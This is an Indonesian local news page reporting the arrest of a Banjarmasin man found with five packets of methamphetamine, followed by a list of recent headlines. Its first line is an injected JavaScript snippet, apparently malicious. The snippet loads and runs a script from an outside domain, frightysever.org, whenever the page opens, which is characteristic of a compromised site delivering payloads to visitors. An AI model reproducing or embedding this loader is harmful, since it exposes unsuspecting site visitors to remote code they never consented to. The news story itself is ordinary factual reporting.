(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Dapat Lima Paket Sabu dari Kenalan, Lelaki di Banjarmasin Diringkus Polisi


KANALKALIMANTAN.COM, BANJARMASIN – Kepolisian Reskrim Polsek Banjarmasin Timur menangkap seorang lelaki inisial AH (48) karena memiliki sabu.

Dari tangan warga Jalan Pekapuran Raya, Kecamatan Banjarmasin Timur itu, polisi mendapati barang bukti sabu sebanyak 5 paket yang dibungkus dalam plastik klip.

Kapolsek Banjarmasin Timur AKP Eru Alsepa melalui Kanit Reskrim Ipda Partogi Hutahaean mengatakan, penangkapan AH dilakukan pada Jumat (3/5/2024) di depan Gang Sirih, Jalan Pekapuran Raya, Banjarmasin.

Penangkapan pelaku penyalahgunaan narkoba berdasarkan informasi dari masyarakat yang langsung ditindak lanjuti Sat Reskrim Polsek Banjarmasin Timur.

Baca juga: Ada Pungli di Kawasan Candi Agung Amuntai, Polisi Turun ke Lokasi

Saat ditangkap, tersangka AH menyimpan 5 paket sabu tersebut di dalam kotak minyak rambut yang berada dalam kantong jaket yang dikenakannya.

“Sabu tersebut kita temukan di kantong jaket sebelah kiri tersangka, selain itu juga ada timbangan digital dan satu bundel plastik klip kosong,” katanya.

Selain sabu, dari tangan pelaku petugas turut juga mengamankan barang bukti berupa timbangan digital, seruk, dan sebundel plastik klip.

Pelaku dan barang bukti dibawa ke Mapolsek Banjarmasin Timur untuk proses hukum lebih lanjut.

Baca juga: Empat Nama Masuk Penjaringan Partai Nasdem Kalsel, Melirik Pilkada Banjarmasin, Tabalong, dan HSS

Hasil introgasi, pelaku AH mengaku jika sabu didapat dari kenalan warga Kelayan, Banjarmasin.

Atas perbuatannya, tersangka AH kini terancam dengan jeratan Pasal 112 Undang-Undang Nomor 35 Tahun 2009 tentang Narkotika.

Atas pengangkapan tersebut, masyarakat diimbau untuk aktif membantu aparat kepolisian dalam memberantas peredaran dan penyalahgunaan narkotika khususnya yang ada di wilayah hukum Polresta Banjarmasin. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

ASN Bisa WFA dan Cuti Bersama hingga Dua Minggu, Begini Skemanya

KANALKALIMANTAN.COM, JAKARTA - Pemerintah menyiapkan kebijakan strategis bagi ASN dalam menghadapi lonjakan mobilitas masyarakat pada… Read More

2 jam ago

KPw BI Kalsel Menggelar Capacity Building Jurnalis 2026

KANALKALIMANTAN.COM, BATULICIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar acara Capacity… Read More

3 jam ago

‎Gubernur Kalsel Kunjungi Warga Desa Pondok Bababaris

‎KANALKALIMANTAN.COM, AMUNTAI – Gubernur Kalimantan Selatan H Muhidin meninjau langsung warga terdampak banjir di Desa… Read More

4 jam ago

Dari Rakor Bulanan: 1.398 Pegawai Non ASN Digaji APBD, Alarm Banjarbaru Menjadi “Kota Kotor”

KANALKALIMANTAN.COM, BANJARBARU – Pegawai Non Aparatur Sipil Negara (ASN) menjadi perhatian Pemerintah Kota (Pemko) Banjarbaru… Read More

15 jam ago

Naik Motor Trail, Bupati Kapuas Tinjau Jalan di Kecamatan Selat

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menggunakan sepeda motor trail meninjau sejumlah… Read More

15 jam ago

Jelang Pilkades Serentak 2026, Pemkab Banjar Gelar Rapat Persiapan

KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More

20 jam ago

This website uses cookies.